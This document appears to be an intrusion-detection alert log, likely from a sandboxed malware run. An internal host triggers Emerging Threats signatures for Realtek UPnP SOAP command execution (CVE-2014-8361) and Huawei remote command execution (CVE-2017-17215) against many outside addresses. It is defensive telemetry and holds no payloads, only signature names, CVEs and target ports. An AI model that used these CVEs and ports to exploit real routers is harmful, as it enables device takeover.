07/20/24-23:02:07.236630	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37638	52869	192.168.2.23	120.153.158.217
07/20/24-23:01:56.510714	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40700	52869	192.168.2.23	198.12.218.135
07/20/24-23:01:25.517399	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50900	52869	192.168.2.23	220.87.191.244
07/20/24-23:01:08.919725	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46758	52869	192.168.2.23	12.55.180.198
07/20/24-23:01:57.688478	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60970	52869	192.168.2.23	102.142.123.212
07/20/24-23:01:49.946258	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42936	52869	192.168.2.23	168.75.31.114
07/20/24-23:01:50.085627	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52618	52869	192.168.2.23	151.41.38.224
07/20/24-23:01:46.556921	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56592	52869	192.168.2.23	81.48.180.48
07/20/24-23:02:26.420170	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44598	52869	192.168.2.23	203.88.251.194
07/20/24-23:01:58.821906	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51208	52869	192.168.2.23	17.116.47.253
07/20/24-23:01:41.249014	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58350	52869	192.168.2.23	162.227.232.27
07/20/24-23:02:06.453402	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34724	52869	192.168.2.23	186.206.219.37
07/20/24-23:01:43.206219	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54166	52869	192.168.2.23	39.170.42.160
07/20/24-23:01:14.014458	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59218	37215	192.168.2.23	197.8.46.56
07/20/24-23:01:44.411586	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35022	52869	192.168.2.23	27.36.59.232
07/20/24-23:01:56.378725	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50554	52869	192.168.2.23	78.1.44.43
07/20/24-23:01:20.169339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33182	37215	192.168.2.23	157.202.95.80
07/20/24-23:02:48.447183	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45040	52869	192.168.2.23	165.223.82.19
07/20/24-23:01:26.849112	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32780	37215	192.168.2.23	41.245.227.231
07/20/24-23:02:02.671155	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43120	52869	192.168.2.23	35.30.208.203
07/20/24-23:01:43.058685	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44428	52869	192.168.2.23	84.198.11.250
07/20/24-23:01:49.231608	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42252	52869	192.168.2.23	124.13.0.132
07/20/24-23:01:54.979156	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37118	52869	192.168.2.23	122.69.178.214
07/20/24-23:02:02.570955	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60414	52869	192.168.2.23	32.154.214.30
07/20/24-23:01:40.331150	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38606	37215	192.168.2.23	74.131.241.182
07/20/24-23:01:40.279669	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60064	37215	192.168.2.23	157.182.220.13
07/20/24-23:01:45.148866	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33468	52869	192.168.2.23	210.80.122.96
07/20/24-23:01:48.007334	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39442	52869	192.168.2.23	17.76.42.20
07/20/24-23:02:03.085082	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48622	52869	192.168.2.23	167.172.23.251
07/20/24-23:01:42.758824	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45004	52869	192.168.2.23	8.202.120.94
07/20/24-23:01:58.880225	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48754	52869	192.168.2.23	49.65.211.106
07/20/24-23:01:08.631492	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44358	52869	192.168.2.23	223.193.169.99
07/20/24-23:01:00.637175	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59334	37215	192.168.2.23	97.43.136.85
07/20/24-23:01:11.639230	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56630	37215	192.168.2.23	157.17.142.189
07/20/24-23:01:20.202325	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40562	37215	192.168.2.23	41.245.53.9
07/20/24-23:01:25.379759	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51148	52869	192.168.2.23	38.122.84.31
07/20/24-23:01:13.287248	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58220	52869	192.168.2.23	5.142.247.218
07/20/24-23:01:42.566124	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41876	52869	192.168.2.23	175.125.31.24
07/20/24-23:01:44.350602	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36276	52869	192.168.2.23	4.9.166.109
07/20/24-23:01:42.985320	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52730	52869	192.168.2.23	171.174.164.32
07/20/24-23:01:51.949637	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55394	52869	192.168.2.23	48.119.173.106
07/20/24-23:01:57.243014	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60560	52869	192.168.2.23	68.37.23.19
07/20/24-23:01:31.328066	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56348	52869	192.168.2.23	97.247.179.245
07/20/24-23:01:32.034562	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33016	37215	192.168.2.23	41.52.129.29
07/20/24-23:01:20.132510	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47976	37215	192.168.2.23	197.27.213.242
07/20/24-23:01:46.439689	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55516	52869	192.168.2.23	99.181.48.189
07/20/24-23:01:04.051104	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58588	37215	192.168.2.23	197.18.10.40
07/20/24-23:01:24.915904	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55640	37215	192.168.2.23	197.169.84.58
07/20/24-23:01:41.266946	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49308	52869	192.168.2.23	130.96.13.171
07/20/24-23:01:00.645051	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35438	37215	192.168.2.23	197.233.33.61
07/20/24-23:01:21.943544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44032	37215	192.168.2.23	197.246.88.6
07/20/24-23:01:08.584507	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41676	52869	192.168.2.23	97.69.175.230
07/20/24-23:01:44.318262	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57020	52869	192.168.2.23	187.157.152.232
07/20/24-23:01:57.099838	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41820	52869	192.168.2.23	2.18.140.250
07/20/24-23:01:48.986585	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49714	52869	192.168.2.23	32.103.164.103
07/20/24-23:01:40.290003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42054	37215	192.168.2.23	41.21.106.63
07/20/24-23:01:47.537829	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54900	52869	192.168.2.23	129.164.36.164
07/20/24-23:01:41.419124	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35788	52869	192.168.2.23	196.248.47.177
07/20/24-23:01:54.922661	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46738	52869	192.168.2.23	166.80.198.171
07/20/24-23:02:28.464626	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52100	52869	192.168.2.23	36.136.49.118
07/20/24-23:01:56.900987	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46180	52869	192.168.2.23	67.148.56.97
07/20/24-23:01:20.150638	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43764	37215	192.168.2.23	47.210.130.207
07/20/24-23:01:34.048825	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49920	37215	192.168.2.23	203.33.109.223
07/20/24-23:01:43.190671	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54998	52869	192.168.2.23	120.189.67.125
07/20/24-23:01:44.355606	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46546	52869	192.168.2.23	156.133.161.252
07/20/24-23:01:02.079114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35484	37215	192.168.2.23	106.214.178.206
07/20/24-23:01:47.692209	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40688	52869	192.168.2.23	5.36.69.33
07/20/24-23:01:58.423882	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37532	52869	192.168.2.23	19.191.190.54
07/20/24-23:01:21.954501	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49024	37215	192.168.2.23	199.131.169.33
07/20/24-23:01:00.636533	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52904	37215	192.168.2.23	41.190.181.48
07/20/24-23:01:43.028316	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34818	52869	192.168.2.23	57.248.72.169
07/20/24-23:00:59.192052	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53044	37215	192.168.2.23	157.8.46.59
07/20/24-23:01:04.961552	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42842	52869	192.168.2.23	180.155.132.167
07/20/24-23:01:52.244347	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34198	52869	192.168.2.23	72.2.201.225
07/20/24-23:01:40.311124	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50952	37215	192.168.2.23	197.136.132.148
07/20/24-23:01:42.365783	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36496	52869	192.168.2.23	84.227.123.147
07/20/24-23:01:06.990535	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52666	37215	192.168.2.23	158.38.51.47
07/20/24-23:01:44.373922	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52258	52869	192.168.2.23	163.173.48.45
07/20/24-23:01:44.890268	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48568	52869	192.168.2.23	18.141.77.94
07/20/24-23:01:45.094539	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38588	52869	192.168.2.23	12.154.226.190
07/20/24-23:01:48.520303	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33856	52869	192.168.2.23	68.106.199.227
07/20/24-23:01:41.380560	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34342	52869	192.168.2.23	70.124.249.51
07/20/24-23:01:20.149798	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52948	37215	192.168.2.23	41.79.99.46
07/20/24-23:01:52.425638	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36282	52869	192.168.2.23	80.133.252.53
07/20/24-23:00:59.185032	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41970	37215	192.168.2.23	197.113.51.118
07/20/24-23:01:14.113390	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59466	37215	192.168.2.23	41.135.77.144
07/20/24-23:01:20.596563	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33634	52869	192.168.2.23	52.164.165.154
07/20/24-23:01:43.977046	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50968	52869	192.168.2.23	141.217.152.223
07/20/24-23:00:59.148145	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36240	37215	192.168.2.23	157.231.240.156
07/20/24-23:01:55.820768	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45600	52869	192.168.2.23	148.113.15.213
07/20/24-23:01:44.274940	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58340	52869	192.168.2.23	76.231.40.42
07/20/24-23:01:31.322217	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40590	52869	192.168.2.23	117.200.16.247
07/20/24-23:01:45.965905	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56456	52869	192.168.2.23	174.141.27.208
07/20/24-23:01:11.820979	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42580	37215	192.168.2.23	41.141.154.207
07/20/24-23:01:46.220244	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40518	52869	192.168.2.23	104.155.48.50
07/20/24-23:02:12.267183	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42036	52869	192.168.2.23	87.152.13.65
07/20/24-23:01:44.825081	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39182	52869	192.168.2.23	43.113.255.232
07/20/24-23:01:00.634165	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37284	37215	192.168.2.23	197.35.57.182
07/20/24-23:01:08.590754	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38592	52869	192.168.2.23	63.80.178.96
07/20/24-23:01:07.036064	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38344	37215	192.168.2.23	116.171.63.113
07/20/24-23:01:04.113037	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47014	37215	192.168.2.23	169.56.210.25
07/20/24-23:01:42.854321	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44544	52869	192.168.2.23	49.37.83.56
07/20/24-23:01:00.635367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39392	37215	192.168.2.23	155.165.181.96
07/20/24-23:01:43.540053	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55358	52869	192.168.2.23	185.117.12.122
07/20/24-23:01:45.175511	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36088	52869	192.168.2.23	217.231.155.95
07/20/24-23:01:55.964600	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34626	52869	192.168.2.23	52.24.218.23
07/20/24-23:01:12.841280	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60678	52869	192.168.2.23	42.191.217.231
07/20/24-23:01:44.559917	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37734	52869	192.168.2.23	35.56.95.76
07/20/24-23:01:44.663524	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56232	52869	192.168.2.23	201.86.102.204
07/20/24-23:01:45.697846	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58184	52869	192.168.2.23	223.33.49.156
07/20/24-23:01:43.478924	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43554	52869	192.168.2.23	113.10.123.41
07/20/24-23:01:53.407777	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51602	52869	192.168.2.23	111.91.178.70
07/20/24-23:01:45.164161	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45426	52869	192.168.2.23	60.240.72.8
07/20/24-23:01:57.695259	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53234	52869	192.168.2.23	105.70.135.245
07/20/24-23:01:04.085431	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36238	37215	192.168.2.23	41.206.146.166
07/20/24-23:01:46.629198	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56362	52869	192.168.2.23	99.98.54.155
07/20/24-23:01:00.645051	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32868	37215	192.168.2.23	113.30.251.105
07/20/24-23:01:24.752424	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52414	52869	192.168.2.23	34.158.218.166
07/20/24-23:01:44.996260	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55994	52869	192.168.2.23	219.230.144.186
07/20/24-23:01:24.867858	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54490	37215	192.168.2.23	41.99.111.146
07/20/24-23:01:46.054776	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60916	52869	192.168.2.23	137.109.251.204
07/20/24-23:01:04.113037	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44942	37215	192.168.2.23	41.197.205.28
07/20/24-23:02:02.415002	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51230	52869	192.168.2.23	216.165.192.32
07/20/24-23:01:11.631728	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42374	37215	192.168.2.23	106.4.213.108
07/20/24-23:01:46.032975	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35288	52869	192.168.2.23	166.191.111.147
07/20/24-23:01:00.654988	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35058	37215	192.168.2.23	105.15.118.157
07/20/24-23:01:42.006483	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41766	52869	192.168.2.23	96.234.113.72
07/20/24-23:01:58.729502	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49908	52869	192.168.2.23	111.91.178.70
07/20/24-23:01:48.918065	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37970	52869	192.168.2.23	138.132.84.64
07/20/24-23:01:00.634089	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56956	37215	192.168.2.23	89.73.227.199
07/20/24-23:01:45.194629	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33264	52869	192.168.2.23	141.54.172.151
07/20/24-23:01:48.765940	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42118	52869	192.168.2.23	174.126.153.78
07/20/24-23:01:54.672544	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37854	52869	192.168.2.23	142.143.249.204
07/20/24-23:01:43.921490	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47776	52869	192.168.2.23	153.197.120.12
07/20/24-23:01:47.523523	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33250	52869	192.168.2.23	50.12.228.50
07/20/24-23:01:46.512162	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45772	52869	192.168.2.23	179.32.230.224
07/20/24-23:00:57.221026	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46136	37215	192.168.2.23	197.12.204.52
07/20/24-23:01:54.702517	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42148	52869	192.168.2.23	222.125.116.173
07/20/24-23:01:56.091033	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55710	52869	192.168.2.23	64.55.184.24
07/20/24-23:00:57.222164	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57480	37215	192.168.2.23	78.242.93.228
07/20/24-23:01:04.233857	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39376	37215	192.168.2.23	41.70.142.225
07/20/24-23:01:42.960666	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56690	52869	192.168.2.23	34.53.132.35
07/20/24-23:00:59.178062	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44596	37215	192.168.2.23	41.119.22.219
07/20/24-23:01:31.312895	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51676	52869	192.168.2.23	123.249.201.235
07/20/24-23:01:41.604763	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38956	52869	192.168.2.23	114.149.101.121
07/20/24-23:01:44.215876	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52906	52869	192.168.2.23	213.139.230.45
07/20/24-23:01:43.175740	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53954	52869	192.168.2.23	162.142.171.159
07/20/24-23:01:13.152454	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59356	52869	192.168.2.23	52.234.117.101
07/20/24-23:00:57.222254	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52740	37215	192.168.2.23	149.227.100.108
07/20/24-23:00:59.204975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40842	37215	192.168.2.23	41.241.135.76
07/20/24-23:01:04.118165	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54156	37215	192.168.2.23	146.66.7.8
07/20/24-23:01:44.922746	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55594	52869	192.168.2.23	216.41.229.158
07/20/24-23:01:46.844704	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37406	52869	192.168.2.23	161.217.163.253
07/20/24-23:01:51.943792	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41894	52869	192.168.2.23	210.84.36.218
07/20/24-23:01:46.308516	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54942	52869	192.168.2.23	92.64.232.40
07/20/24-23:01:41.266946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51804	52869	192.168.2.23	193.38.103.224
07/20/24-23:01:54.787983	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41556	52869	192.168.2.23	2.74.163.138
07/20/24-23:01:11.632393	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37508	37215	192.168.2.23	197.118.42.51
07/20/24-23:01:46.068251	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49446	52869	192.168.2.23	77.112.72.60
07/20/24-23:01:08.630327	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46392	52869	192.168.2.23	38.158.187.83
07/20/24-23:01:59.704241	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54748	52869	192.168.2.23	95.71.29.54
07/20/24-23:01:32.046185	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51004	37215	192.168.2.23	151.83.52.203
07/20/24-23:01:34.044223	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36714	37215	192.168.2.23	41.139.79.186
07/20/24-23:01:47.614619	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50834	52869	192.168.2.23	41.199.13.54
07/20/24-23:01:49.055673	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58984	52869	192.168.2.23	170.132.161.86
07/20/24-23:01:47.552279	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51732	52869	192.168.2.23	48.81.156.141
07/20/24-23:01:47.410892	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54372	52869	192.168.2.23	13.59.59.107
07/20/24-23:02:06.131728	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59882	52869	192.168.2.23	61.92.48.14
07/20/24-23:01:02.702506	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49530	52869	192.168.2.23	132.86.136.162
07/20/24-23:01:40.290003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38354	37215	192.168.2.23	157.4.24.226
